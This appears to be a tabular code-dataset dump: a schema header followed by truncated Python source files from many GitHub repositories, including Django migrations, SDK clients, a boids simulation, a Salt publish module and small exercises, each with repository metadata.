hexsha
stringlengths
40
40
size
int64
4
1.02M
ext
stringclasses
8 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
209
max_stars_repo_name
stringlengths
5
121
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
⌀
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
⌀
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
⌀
max_issues_repo_path
stringlengths
4
209
max_issues_repo_name
stringlengths
5
121
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
⌀
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
⌀
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
⌀
max_forks_repo_path
stringlengths
4
209
max_forks_repo_name
stringlengths
5
121
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
⌀
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
⌀
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
⌀
content
stringlengths
4
1.02M
avg_line_length
float64
1.07
66.1k
max_line_length
int64
4
266k
alphanum_fraction
float64
0.01
1
14e7f90f03a4b6b111352d6c0103edc6d4790c0e
621
py
Python
LanguageGameExperiment/migrations/0011_auto_20200423_0843.py
tifat58/lsv-c4-django-webexperiment
6aa706ad36b9766fbbf4323fdcd6e5d7420f1e16
[ "Apache-2.0" ]
1
2022-03-16T11:17:06.000Z
2022-03-16T11:17:06.000Z
LanguageGameExperiment/migrations/0011_auto_20200423_0843.py
tifat58/lsv-c4-django-webexperiment
6aa706ad36b9766fbbf4323fdcd6e5d7420f1e16
[ "Apache-2.0" ]
null
null
null
LanguageGameExperiment/migrations/0011_auto_20200423_0843.py
tifat58/lsv-c4-django-webexperiment
6aa706ad36b9766fbbf4323fdcd6e5d7420f1e16
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('LanguageGameExperiment', '0010_auto_20200423_0203'), ] operations = [ migrations.AddField( model_name='primalexp...
24.84
62
0.623188
699cf0fa5773d1889e8a40c2c039af280c861620
191
py
Python
pypboy/modules/items/ammo.py
wborders/test
6bcc07c637d8c639b10c9dc7cd112be43f74783e
[ "MIT" ]
60
2016-02-01T17:41:03.000Z
2022-01-30T07:56:05.000Z
pypboy/modules/items/ammo.py
wborders/test
6bcc07c637d8c639b10c9dc7cd112be43f74783e
[ "MIT" ]
1
2017-03-09T16:56:42.000Z
2018-02-21T21:31:11.000Z
pypboy/modules/items/ammo.py
wborders/test
6bcc07c637d8c639b10c9dc7cd112be43f74783e
[ "MIT" ]
54
2016-02-05T07:31:19.000Z
2022-03-26T02:53:17.000Z
import pypboy import pygame import game import config class Module(pypboy.SubModule): label = "Ammo" def __init__(self, *args, **kwargs): super(Module, self).__init__(*args, **kwargs)
15.916667
47
0.727749
3053b063081a86720ede2e7dfc284eb8951fa525
900
py
Python
DLplatform/synchronizing/aggAtTheEnd.py
chelseajohn/dlplatform
429e42c598039d1e9fd1df3da4247f391915a31b
[ "Apache-2.0" ]
5
2020-05-05T08:54:26.000Z
2021-02-20T07:36:28.000Z
DLplatform/synchronizing/aggAtTheEnd.py
chelseajohn/dlplatform
429e42c598039d1e9fd1df3da4247f391915a31b
[ "Apache-2.0" ]
1
2020-11-16T14:15:53.000Z
2020-11-16T14:15:53.000Z
DLplatform/synchronizing/aggAtTheEnd.py
chelseajohn/dlplatform
429e42c598039d1e9fd1df3da4247f391915a31b
[ "Apache-2.0" ]
4
2020-05-05T08:56:57.000Z
2020-07-22T11:28:52.000Z
from DLplatform.synchronizing.synchronizer import Synchronizer from DLplatform.parameters import Parameters from typing import List class AggregationAtTheEnd(Synchronizer): def __init__(self, name = "Aggregation-at-the-end"): Synchronizer.__init__(self, name = name) def evaluate(self, nodesDict, ...
39.130435
120
0.681111
b7846e9221cccdacd80afe8eb13f11a4a2a34195
565
py
Python
lang/Python/odd-word-problem-2.py
ethansaxenian/RosettaDecode
8ea1a42a5f792280b50193ad47545d14ee371fb7
[ "MIT" ]
1
2018-11-09T22:08:38.000Z
2018-11-09T22:08:38.000Z
lang/Python/odd-word-problem-2.py
ethansaxenian/RosettaDecode
8ea1a42a5f792280b50193ad47545d14ee371fb7
[ "MIT" ]
null
null
null
lang/Python/odd-word-problem-2.py
ethansaxenian/RosettaDecode
8ea1a42a5f792280b50193ad47545d14ee371fb7
[ "MIT" ]
1
2018-11-09T22:08:40.000Z
2018-11-09T22:08:40.000Z
from sys import stdin, stdout def fwd(c): if c.isalpha(): return [stdout.write(c), (yield from fwd((yield f)))][1] else: return c def rev(c): if c.isalpha(): return [(yield from rev((yield r))), stdout.write(c)][0] else: return c def fw(): while True: stdou...
16.617647
64
0.539823
ca7e4eee82f8942a9015ac257488be06717d66b8
4,106
py
Python
asvtorch/src/misc/fileutils.py
ElsevierSoftwareX/SOFTX-D-20-00038
9c656dd55467f4480d4c455106c86519288723c3
[ "MIT" ]
1
2021-05-25T05:45:32.000Z
2021-05-25T05:45:32.000Z
asvtorch/src/misc/fileutils.py
ElsevierSoftwareX/SOFTX-D-20-00038
9c656dd55467f4480d4c455106c86519288723c3
[ "MIT" ]
null
null
null
asvtorch/src/misc/fileutils.py
ElsevierSoftwareX/SOFTX-D-20-00038
9c656dd55467f4480d4c455106c86519288723c3
[ "MIT" ]
1
2021-08-03T15:48:51.000Z
2021-08-03T15:48:51.000Z
# Copyright 2020 Ville Vestman # This file is licensed under the MIT license (see LICENSE.txt). import os from os.path import isfile, join import datetime from typing import List from asvtorch.src.misc.recipeutils import TrialList from asvtorch.src.settings.settings import Settings def ensure_exists(folder: str): ...
34.504202
120
0.711642
bd7dd151da647f05f05112a7ed92052606fc9249
1,493
py
Python
star_war.py
siddarta-weis/Game-Alien-Invasion
e0b49a5287accf295039aba916f33d63fa18d2ba
[ "BSD-2-Clause" ]
null
null
null
star_war.py
siddarta-weis/Game-Alien-Invasion
e0b49a5287accf295039aba916f33d63fa18d2ba
[ "BSD-2-Clause" ]
null
null
null
star_war.py
siddarta-weis/Game-Alien-Invasion
e0b49a5287accf295039aba916f33d63fa18d2ba
[ "BSD-2-Clause" ]
null
null
null
from bullet import Bullet import sys import pygame from spaceships import MainShip from settings import Settings import game_functions as gf from pygame.sprite import Group from game_stats import GameStats from button import Button from scoreboard import Scoreboard def run_game(): """initialize game and create a s...
28.169811
92
0.691226
2987869c086616509a224e5685352d57874264dd
64,315
py
Python
router_migration/ncm.py
nathanwiens/ncm-api-scripts
1d05a8ca092081c97ec139d46359ef78c326add8
[ "Unlicense" ]
null
null
null
router_migration/ncm.py
nathanwiens/ncm-api-scripts
1d05a8ca092081c97ec139d46359ef78c326add8
[ "Unlicense" ]
null
null
null
router_migration/ncm.py
nathanwiens/ncm-api-scripts
1d05a8ca092081c97ec139d46359ef78c326add8
[ "Unlicense" ]
null
null
null
""" Cradlepoint NCM API class Created by: Nathan Wiens Overview: The purpose of this class is to make it easier for users to interact with the Cradlepoint NCM API. Within this class is a set of functions that closely matches the available API calls. Full documentation of the Cradlepoint NCM API is avai...
41.762987
121
0.618301
94c2788fa2959ca57a295cf1003e5bba06629db8
3,530
py
Python
benchmark/compare/Mesa/Flocking/boid.py
Corvince/Agents.jl
6276084756287bd0a7b1e0dc9fcf5638f9840c73
[ "MIT" ]
null
null
null
benchmark/compare/Mesa/Flocking/boid.py
Corvince/Agents.jl
6276084756287bd0a7b1e0dc9fcf5638f9840c73
[ "MIT" ]
null
null
null
benchmark/compare/Mesa/Flocking/boid.py
Corvince/Agents.jl
6276084756287bd0a7b1e0dc9fcf5638f9840c73
[ "MIT" ]
null
null
null
import numpy as np from mesa import Agent class Boid(Agent): """ A Boid-style flocker agent. The agent follows three behaviors to flock: - Cohesion: steering towards neighboring agents. - Separation: avoiding getting too close to any other agent. - Alignment: try to fly in the sa...
32.990654
80
0.607082
ab778d9da3fc1ec2f815e6608d49d827c41fdf35
10,931
py
Python
motor/metaprogramming.py
onovy/motor
24120b947493a6272f49e1164054191f999fe5f2
[ "Apache-2.0" ]
null
null
null
motor/metaprogramming.py
onovy/motor
24120b947493a6272f49e1164054191f999fe5f2
[ "Apache-2.0" ]
null
null
null
motor/metaprogramming.py
onovy/motor
24120b947493a6272f49e1164054191f999fe5f2
[ "Apache-2.0" ]
null
null
null
# Copyright 2014 MongoDB, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, so...
34.591772
80
0.638734
615d5065c24e880e99cb4903f46e1d3207648e4a
843
py
Python
easy/905-Sort Array By Parity.py
Davidxswang/leetcode
d554b7f5228f14c646f726ddb91014a612673e06
[ "Apache-2.0" ]
2
2020-05-08T02:17:17.000Z
2020-05-17T04:55:56.000Z
easy/905-Sort Array By Parity.py
Davidxswang/leetcode
d554b7f5228f14c646f726ddb91014a612673e06
[ "Apache-2.0" ]
null
null
null
easy/905-Sort Array By Parity.py
Davidxswang/leetcode
d554b7f5228f14c646f726ddb91014a612673e06
[ "Apache-2.0" ]
null
null
null
""" https://leetcode.com/problems/sort-array-by-parity/ Given an array A of non-negative integers, return an array consisting of all the even elements of A, followed by all the odd elements of A. You may return any answer array that satisfies this condition. Example 1: Input: [3,1,2,4] Output: [2,4,3,1] The output...
22.184211
139
0.557533
50ac04f2afb40403caea902c19360b2d8c5f51f4
3,648
py
Python
src/charm.py
zeeshanali/prometheus-edge-hub-operator
28a948145f39103199668bc738932e0f2f7b6042
[ "Apache-2.0" ]
null
null
null
src/charm.py
zeeshanali/prometheus-edge-hub-operator
28a948145f39103199668bc738932e0f2f7b6042
[ "Apache-2.0" ]
null
null
null
src/charm.py
zeeshanali/prometheus-edge-hub-operator
28a948145f39103199668bc738932e0f2f7b6042
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python3 # Copyright 2021 Canonical Ltd. # See LICENSE file for licensing details. import logging from charms.observability_libs.v0.kubernetes_service_patch import ( # type: ignore KubernetesServicePatch, ) from charms.prometheus_k8s.v0.prometheus_scrape import ( # type: ignore MetricsEndpoint...
34.093458
96
0.587171
3c4ce335ce3448205cabb1a6af0a483ec943e6ea
544
py
Python
saefportal/datasets/migrations/0008_auto_20210719_2013.py
harry-consulting/SAEF1
055d6e492ba76f90e3248b9da2985fdfe0c6b430
[ "BSD-2-Clause" ]
null
null
null
saefportal/datasets/migrations/0008_auto_20210719_2013.py
harry-consulting/SAEF1
055d6e492ba76f90e3248b9da2985fdfe0c6b430
[ "BSD-2-Clause" ]
null
null
null
saefportal/datasets/migrations/0008_auto_20210719_2013.py
harry-consulting/SAEF1
055d6e492ba76f90e3248b9da2985fdfe0c6b430
[ "BSD-2-Clause" ]
1
2020-12-16T15:02:52.000Z
2020-12-16T15:02:52.000Z
# Generated by Django 3.1.6 on 2021-07-19 20:13 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('datasets', '0007_auto_20210717_2318'), ] operations = [ migrations.AlterField( model_name='datasetsession', name='st...
28.631579
199
0.623162
7aac6bcc5c1c8c971f6b19964dd0d03127fc9005
385
py
Python
posts/admin.py
Devenc234/blog-webapp
89c7db98a005fff3deb39e25de148e60e55c1f36
[ "MIT" ]
null
null
null
posts/admin.py
Devenc234/blog-webapp
89c7db98a005fff3deb39e25de148e60e55c1f36
[ "MIT" ]
null
null
null
posts/admin.py
Devenc234/blog-webapp
89c7db98a005fff3deb39e25de148e60e55c1f36
[ "MIT" ]
null
null
null
from django.contrib import admin # Register your models here. from .models import Post class PostModelAdmin(admin.ModelAdmin): list_display = ["title","updated","timestamp"] list_display_links = ["updated"] list_editable = ["title"] list_filter = ["updated","timestamp"] search_fields = ["title","content"] clas...
24.0625
47
0.74026
def841fe0fc45ce710fe6e67fcb865918a532626
2,316
py
Python
unicode-data/read_property_file.py
rlaneyjr/grapheme
4e7816c4ec41cd3032b6b9faa44addedf3071b30
[ "MIT" ]
78
2017-08-06T23:44:55.000Z
2022-03-19T01:20:25.000Z
unicode-data/read_property_file.py
rlaneyjr/grapheme
4e7816c4ec41cd3032b6b9faa44addedf3071b30
[ "MIT" ]
17
2017-07-24T08:39:45.000Z
2022-03-19T01:13:54.000Z
unicode-data/read_property_file.py
rlaneyjr/grapheme
4e7816c4ec41cd3032b6b9faa44addedf3071b30
[ "MIT" ]
8
2017-08-06T12:31:55.000Z
2022-03-17T22:32:44.000Z
import json import os import re from collections import defaultdict BREAK_PROPERTY_FILE = "GraphemeBreakProperty.txt" EMOJI_DATA_FILE = "emoji-data.txt" BREAK_PROPERTY_JSON_FILE = "../grapheme/data/grapheme_break_property.json" pattern = re.compile(r"^([0-9A-F]+)(\.\.([0-9A-F]+))?\s+;\s*(\w*)\s*#") dir_path = os.pat...
27.247059
81
0.607513
7023c1b12383885a7670e1733183ea96dc82000d
1,562
py
Python
main.py
berezhinskiy/PythonThreadingPoolExample
21081f1725d30b723e1f6646aa83ab204de0ca73
[ "MIT" ]
null
null
null
main.py
berezhinskiy/PythonThreadingPoolExample
21081f1725d30b723e1f6646aa83ab204de0ca73
[ "MIT" ]
null
null
null
main.py
berezhinskiy/PythonThreadingPoolExample
21081f1725d30b723e1f6646aa83ab204de0ca73
[ "MIT" ]
1
2021-08-24T03:51:59.000Z
2021-08-24T03:51:59.000Z
# cross py2/py3 compatible version try: import queue except ImportError: import Queue as queue import fileinput import threading import time class TaskQueue(object): def __init__(self): self._income_queue = queue.Queue() def get(self): while True: yield self._income_queue.get() ...
22.314286
83
0.604994
a85ad092b9fc0c1d7bd862d8760657c6d7ea1026
9,792
py
Python
src/crossentropyhyperparamsearch.py
nicolas-ivanov/MimicAndRephrase
446674e1e6af133618e0e9888c3650c0ce9012e4
[ "MIT" ]
12
2019-06-17T19:41:35.000Z
2022-02-17T19:51:45.000Z
src/crossentropyhyperparamsearch.py
nicolas-ivanov/MimicAndRephrase
446674e1e6af133618e0e9888c3650c0ce9012e4
[ "MIT" ]
1
2021-02-23T15:28:32.000Z
2021-02-23T15:28:32.000Z
src/crossentropyhyperparamsearch.py
isabella232/MimicAndRephrase
bd29a995b211cb4f7933fa990b0bba1564c22450
[ "MIT" ]
3
2020-09-07T16:44:11.000Z
2020-11-14T19:00:05.000Z
import csv import io import os import torch from typing import Dict, List from attncpy import IDKRephraseModel from data import IDKRephraseDataset from utils.log import track, info, warn, error, init import numpy as np import gzip import sys from utils.word_embedding import Glove class CrossEntropyHyperparamSearc...
42.573913
111
0.609171
2289a0da8875e51f1d76ea720c8091ed0fb00a72
5,126
py
Python
salt/modules/publish.py
kstaken/salt
3321d57cf4d085bc6cbe269dbd01afd04fc6ff2a
[ "Apache-2.0" ]
null
null
null
salt/modules/publish.py
kstaken/salt
3321d57cf4d085bc6cbe269dbd01afd04fc6ff2a
[ "Apache-2.0" ]
null
null
null
salt/modules/publish.py
kstaken/salt
3321d57cf4d085bc6cbe269dbd01afd04fc6ff2a
[ "Apache-2.0" ]
1
2020-03-07T07:04:55.000Z
2020-03-07T07:04:55.000Z
''' Publish a command from a minion to a target ''' # Import python libs import time import ast import logging # Import salt libs import salt.crypt import salt.payload from salt.exceptions import SaltReqTimeoutError from salt._compat import string_types, integer_types log = logging.getLogger(__name__) def _publish...
30.331361
87
0.633828
1e387ea5fd8f52d271fb5f4e6661256450b48d75
3,004
py
Python
tests/samp_ex3.py
murakrishn/bode
2b44d697b41fd2399f1039a6d9e284f9872d53c5
[ "MIT" ]
null
null
null
tests/samp_ex3.py
murakrishn/bode
2b44d697b41fd2399f1039a6d9e284f9872d53c5
[ "MIT" ]
null
null
null
tests/samp_ex3.py
murakrishn/bode
2b44d697b41fd2399f1039a6d9e284f9872d53c5
[ "MIT" ]
null
null
null
import numpy as np import seaborn as sns import matplotlib.pyplot as plt import math import os import sys import shutil sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..')) import pdb import GPy import time import itertools import bode from cycler import cycler from scipy.stats import norm from scipy.stats...
32.301075
99
0.645473
5f9fea2b7d5d61e871f6328888d8320d798970a9
17,685
py
Python
simtool/polymerxtal/crystal/cell.py
janash/polymerxtal
641f00bcc5db16d1da8b787944dea9d9d91a7d8a
[ "BSD-3-Clause" ]
1
2020-08-13T23:52:56.000Z
2020-08-13T23:52:56.000Z
simtool/polymerxtal/crystal/cell.py
janash/polymerxtal
641f00bcc5db16d1da8b787944dea9d9d91a7d8a
[ "BSD-3-Clause" ]
8
2020-08-31T01:18:33.000Z
2021-09-17T18:20:24.000Z
simtool/polymerxtal/crystal/cell.py
janash/polymerxtal
641f00bcc5db16d1da8b787944dea9d9d91a7d8a
[ "BSD-3-Clause" ]
3
2020-08-26T14:58:59.000Z
2021-03-15T09:06:24.000Z
""" Functions to generate polymer crystals. """ import numpy as np from polymerxtal.io import write_pdb, write_lmp_ifile from polymerxtal.polymod import createHolder from polymerxtal.struct2lammps import Create_Data_File from polymerxtal.visualize import ovito_view from .chain import Chain from .helice import Helice ...
36.614907
191
0.496127
3d54de8f0f9fa5f96e4bb3fc7f87138024a396a0
3,482
py
Python
huaweicloud-sdk-dms/huaweicloudsdkdms/v2/model/batch_create_or_delete_queue_tag_request.py
githubmilesma/huaweicloud-sdk-python-v3
9d9449ed68a609ca65f0aa50b5b2a1c28445bf03
[ "Apache-2.0" ]
1
2021-04-16T07:59:28.000Z
2021-04-16T07:59:28.000Z
huaweicloud-sdk-dms/huaweicloudsdkdms/v2/model/batch_create_or_delete_queue_tag_request.py
Lencof/huaweicloud-sdk-python-v3
d13dc4e2830a83e295be6e4de021999b3376e34e
[ "Apache-2.0" ]
null
null
null
huaweicloud-sdk-dms/huaweicloudsdkdms/v2/model/batch_create_or_delete_queue_tag_request.py
Lencof/huaweicloud-sdk-python-v3
d13dc4e2830a83e295be6e4de021999b3376e34e
[ "Apache-2.0" ]
1
2022-01-17T02:24:18.000Z
2022-01-17T02:24:18.000Z
# coding: utf-8 import pprint import re import six class BatchCreateOrDeleteQueueTagRequest: """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name ...
26.180451
85
0.566054
47a26457f77a57395c428a2106894dca44db95a8
861
py
Python
simulation/src/time_helper/time_helper.py
brainelectronics/Micropython-ESP-WiFi-Manager
4e296543136f728cd5e1f64b1ef40971691eae3b
[ "MIT" ]
4
2022-03-07T15:33:05.000Z
2022-03-30T21:34:56.000Z
simulation/src/time_helper/time_helper.py
brainelectronics/Micropython-ESP-WiFi-Manager
4e296543136f728cd5e1f64b1ef40971691eae3b
[ "MIT" ]
4
2022-02-25T11:33:40.000Z
2022-03-30T11:58:29.000Z
simulation/src/time_helper/time_helper.py
brainelectronics/Micropython-ESP-WiFi-Manager
4e296543136f728cd5e1f64b1ef40971691eae3b
[ "MIT" ]
2
2022-02-03T07:48:32.000Z
2022-03-22T03:44:48.000Z
#!/usr/bin/env python3 # -*- coding: UTF-8 -*- """ Time Helper Sync and set internal clock (RTC) with NTP server time """ from machine import RTC # import ntptime import time class TimeHelper(object): """docstring for TimeHelper""" def __init__(self, tz: int = 1): """ Initialize TimeHelper ...
22.076923
76
0.58072
d46bc836e5bac97cddead2bdcfbcf0a9e505dc7b
192,700
py
Python
sdk/appservice/azure-mgmt-web/azure/mgmt/web/v2020_06_01/operations/_app_service_environments_operations.py
vincenttran-msft/azure-sdk-for-python
348b56f9f03eeb3f7b502eed51daf494ffff874d
[ "MIT" ]
1
2021-09-07T18:39:05.000Z
2021-09-07T18:39:05.000Z
sdk/appservice/azure-mgmt-web/azure/mgmt/web/v2020_06_01/operations/_app_service_environments_operations.py
vincenttran-msft/azure-sdk-for-python
348b56f9f03eeb3f7b502eed51daf494ffff874d
[ "MIT" ]
null
null
null
sdk/appservice/azure-mgmt-web/azure/mgmt/web/v2020_06_01/operations/_app_service_environments_operations.py
vincenttran-msft/azure-sdk-for-python
348b56f9f03eeb3f7b502eed51daf494ffff874d
[ "MIT" ]
1
2022-03-04T06:21:56.000Z
2022-03-04T06:21:56.000Z
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
43.10962
272
0.660841
b6812bc689fa5de1a9c130a55ef513fe9f64002f
2,676
py
Python
processing/serie.py
koder-ua/influx_export
bed70a9e2a9a084fba9926df301c30b139271123
[ "Apache-2.0" ]
null
null
null
processing/serie.py
koder-ua/influx_export
bed70a9e2a9a084fba9926df301c30b139271123
[ "Apache-2.0" ]
null
null
null
processing/serie.py
koder-ua/influx_export
bed70a9e2a9a084fba9926df301c30b139271123
[ "Apache-2.0" ]
null
null
null
import datetime from typing import Dict, Optional import numpy from dataclasses import dataclass, field from pandas import Series metric2units = { "cpu_usage_guest": "s", "cpu_usage_iowait": "s", "cpu_usage_system": "s", "cpu_usage_user": "s", "disk_used_percent": None, "diskio_iops_in_progres...
29.733333
97
0.661809
1e19ebd9aa5013dfad7a03616e520bf859794f95
2,520
py
Python
app/utils/update.py
MarkusJoe/RequestCounter
e39a8e6c5b53ebba84c72a721f066d8b608c739e
[ "Apache-2.0" ]
1
2022-02-25T07:49:02.000Z
2022-02-25T07:49:02.000Z
app/utils/update.py
MarkusJoe/FlaskRequestCounter
e39a8e6c5b53ebba84c72a721f066d8b608c739e
[ "Apache-2.0" ]
null
null
null
app/utils/update.py
MarkusJoe/FlaskRequestCounter
e39a8e6c5b53ebba84c72a721f066d8b608c739e
[ "Apache-2.0" ]
1
2022-02-25T07:49:03.000Z
2022-02-25T07:49:03.000Z
#!/usr/bin/env python3 # -- coding:utf-8 -- # @Author: markushammered@gmail.com # @Development Tool: Pycharm # @Create Time: 2022/4/29 # @File Name: update.py import os import base64 import logging import requests from ..config import VersionConfig from typing import Dict, List class SelfUpdateVersion: """更新本体 ...
31.5
119
0.576587
eb1aa5992c636e749fd633a9d424728f7a18e687
61
py
Python
python/python_backup/PRAC_PYTHON/ab10.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
16
2018-11-26T08:39:42.000Z
2019-05-08T10:09:52.000Z
python/python_backup/PRAC_PYTHON/ab10.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
8
2020-05-04T06:29:26.000Z
2022-02-12T05:33:16.000Z
python/python_backup/PRAC_PYTHON/ab10.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
5
2020-02-11T16:02:21.000Z
2021-02-05T07:48:30.000Z
for i in range(100,0,-10): print i,",",
8.714286
27
0.377049
ebe32d07ee3823eecbd3b88c05f0f888624d8b73
543
py
Python
manage.py
upeshpv/mhadiahmed-real-Time-Chat-Django-channels
796654ee61c3292f0928ef05c1c6e4579d8ea0ba
[ "MIT" ]
6
2019-04-05T05:07:59.000Z
2020-10-07T10:02:49.000Z
manage.py
upeshpv/mhadiahmed-real-Time-Chat-Django-channels
796654ee61c3292f0928ef05c1c6e4579d8ea0ba
[ "MIT" ]
null
null
null
manage.py
upeshpv/mhadiahmed-real-Time-Chat-Django-channels
796654ee61c3292f0928ef05c1c6e4579d8ea0ba
[ "MIT" ]
7
2018-07-09T19:53:54.000Z
2020-03-21T18:17:08.000Z
#!/usr/bin/env python import os import sys if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "chatproject.settings") try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. ...
33.9375
75
0.688766
4f595a15b6db2465628dba5b6b96765e0a61f6d0
2,382
py
Python
launch/utils/process_context.py
Artway-ai/launch
532e9e357abc50d397f57fe6d765733e68f16e13
[ "Apache-2.0" ]
null
null
null
launch/utils/process_context.py
Artway-ai/launch
532e9e357abc50d397f57fe6d765733e68f16e13
[ "Apache-2.0" ]
null
null
null
launch/utils/process_context.py
Artway-ai/launch
532e9e357abc50d397f57fe6d765733e68f16e13
[ "Apache-2.0" ]
null
null
null
# Copyright 2022 kuizhiqing # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing...
28.357143
74
0.573887
88dc3f50979b83899a17451f0d3dad08d3358a6d
5,737
py
Python
landlab/values/tests/test_synthetic.py
saraahsimon/landlab
1cf809b685efbccaaa149b5899a600c3ccedf30f
[ "MIT" ]
null
null
null
landlab/values/tests/test_synthetic.py
saraahsimon/landlab
1cf809b685efbccaaa149b5899a600c3ccedf30f
[ "MIT" ]
null
null
null
landlab/values/tests/test_synthetic.py
saraahsimon/landlab
1cf809b685efbccaaa149b5899a600c3ccedf30f
[ "MIT" ]
null
null
null
import numpy as np import pytest from numpy.testing import assert_array_equal from landlab import CLOSED_BOUNDARY, CORE_NODE from landlab.field import GroupError from landlab.values import constant, plane, random from landlab.values.synthetic import _plane_function, _where_to_add_values _NORMAL = (1, 1, 1) _POINT = (...
32.596591
88
0.728604
25fddeee65575b02871dfe10ce6588921ce368bf
368
py
Python
mylibrary/booksmanager/migrations/0022_auto_20210511_1630.py
DrageKongen/my-library
9f90e83ecd40d3c3edc65b9fab50109403412eee
[ "MIT" ]
null
null
null
mylibrary/booksmanager/migrations/0022_auto_20210511_1630.py
DrageKongen/my-library
9f90e83ecd40d3c3edc65b9fab50109403412eee
[ "MIT" ]
null
null
null
mylibrary/booksmanager/migrations/0022_auto_20210511_1630.py
DrageKongen/my-library
9f90e83ecd40d3c3edc65b9fab50109403412eee
[ "MIT" ]
null
null
null
# Generated by Django 3.1.7 on 2021-05-11 13:30 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('booksmanager', '0021_author_moment'), ] operations = [ migrations.RenameField( model_name='author', old_name='birthday', ...
19.368421
47
0.589674
5cebcfbedf00814f26114479cc4f3ef9b2949a8b
180
py
Python
test/mouse_events.py
Rewind2B4/systems34_2021_Noah_Jackson
1ad058a3f44bb8313417f72d73eb845b739540db
[ "MIT" ]
null
null
null
test/mouse_events.py
Rewind2B4/systems34_2021_Noah_Jackson
1ad058a3f44bb8313417f72d73eb845b739540db
[ "MIT" ]
null
null
null
test/mouse_events.py
Rewind2B4/systems34_2021_Noah_Jackson
1ad058a3f44bb8313417f72d73eb845b739540db
[ "MIT" ]
null
null
null
import tkinter as tk def getorigin(eventorigin): global x,y x = eventorigin.x y = eventorigin.y print(x,y) root = tk.Tk() root.bind("<Button 1>",getorigin)
20
33
0.627778
9ed395f5616951248622bd4a8935f2facc0de9ee
14,703
py
Python
py/selenium/webdriver/firefox/firefox_profile.py
jrsam/selenium
baa7a46d5b6d26cd224169c3a2737e5d739d80ef
[ "Apache-2.0" ]
2
2016-02-10T12:57:21.000Z
2019-09-14T19:02:14.000Z
py/selenium/webdriver/firefox/firefox_profile.py
jrsam/selenium
baa7a46d5b6d26cd224169c3a2737e5d739d80ef
[ "Apache-2.0" ]
2
2015-03-16T16:53:57.000Z
2015-03-16T17:43:21.000Z
py/selenium/webdriver/firefox/firefox_profile.py
jrsam/selenium
baa7a46d5b6d26cd224169c3a2737e5d739d80ef
[ "Apache-2.0" ]
2
2019-08-26T11:08:03.000Z
2020-11-20T12:13:59.000Z
# Licensed to the Software Freedom Conservancy (SFC) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The SFC licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not...
38.590551
100
0.606883
d9ac4a75b61c387e804aded8871d8d9e91a93e7b
2,458
py
Python
ECCkeyGen.py
ShiroNekoHouse/MyFate
961c0e6e0dff0b3af0fe7186f1429b41ab8c3093
[ "Apache-2.0" ]
null
null
null
ECCkeyGen.py
ShiroNekoHouse/MyFate
961c0e6e0dff0b3af0fe7186f1429b41ab8c3093
[ "Apache-2.0" ]
null
null
null
ECCkeyGen.py
ShiroNekoHouse/MyFate
961c0e6e0dff0b3af0fe7186f1429b41ab8c3093
[ "Apache-2.0" ]
null
null
null
#! /usr/bin/env python # -*- coding: utf-8 -*- import os, random, base64, time def egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) # g为公因子 return (g, x - (b // a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) if (g != 1): print('modular inverse does not exist') else: return x %...
28.917647
85
0.708706
38e9ba91e54018a7112a7ec61aad46a4fc5dc3ed
525
py
Python
deterministic_encryption_utils/encryption/extensions/NameFileSaltProvider.py
seiferma/encviewfuse.commons
a747da3cd6daf39b0c26d4d497725e8863af1dd1
[ "MIT" ]
null
null
null
deterministic_encryption_utils/encryption/extensions/NameFileSaltProvider.py
seiferma/encviewfuse.commons
a747da3cd6daf39b0c26d4d497725e8863af1dd1
[ "MIT" ]
null
null
null
deterministic_encryption_utils/encryption/extensions/NameFileSaltProvider.py
seiferma/encviewfuse.commons
a747da3cd6daf39b0c26d4d497725e8863af1dd1
[ "MIT" ]
null
null
null
import os from deterministic_encryption_utils.encryption.EncryptionExtensions import FileSaltProvider class NameFileSaltProvider(FileSaltProvider): def getId(self): return "filename" def getSaltFor(self, absoluteFilePath): if not os.path.exists(absoluteFilePath): raise Val...
35
91
0.712381
08e860b91a35efc63ad74c47555465f2f92a877b
17,734
py
Python
tests/integration/fixtures/programs.py
jp-t/lldpd
5134d8882312b08d56add863d2e5875de3a94017
[ "0BSD" ]
null
null
null
tests/integration/fixtures/programs.py
jp-t/lldpd
